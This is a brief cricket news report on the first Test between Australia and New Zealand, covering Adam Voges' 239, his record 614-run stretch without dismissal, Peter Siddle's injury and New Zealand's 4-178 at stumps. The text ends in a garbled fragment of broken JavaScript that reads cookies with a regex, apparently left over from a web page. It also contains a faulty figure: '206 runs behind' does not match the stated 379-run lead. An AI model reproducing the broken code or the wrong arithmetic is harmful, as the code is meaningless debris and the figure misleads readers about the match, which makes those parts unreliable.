Australia is closing in on victory in the first Test against New Zealand, as Adam Voges' unbelievable run of form continues.

The Black Caps reached 4-178 in their second dig at stumps, still 206 runs behind Australia's first innings total.

Henry Nicholls is 31 not out, with McCullum falling to Mitch Marsh on final ball of the day for 10 runs.

Openers Tom Latham and Martin Guptil made sure the hosts put up a fight, scoring 63 and 45 respectively. Nathan Lyon claimed two wickets, while Marsh and Hazlewood grabbed one each.

It's not all good news for the Aussies though, with paceman Peter Siddle taking no part in the final session due to injury.

Earlier, Australia was bowled all out for 562 in their first innings.

Adam Voges continued his incredible form, scoring 239 before he was dismissed caught and bowled by Mark Craig. Voges' dismissal ends a world record run of 614 runs without being dismissed. The 36-year-old currently sits second on the all time highest averages in Test cricket with 97.46 after 14 Tests, behind only the great Don Bradman (99.94).

Peter Siddle also chimed in with 49 to help Australia set up a 379 run first innings lead. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
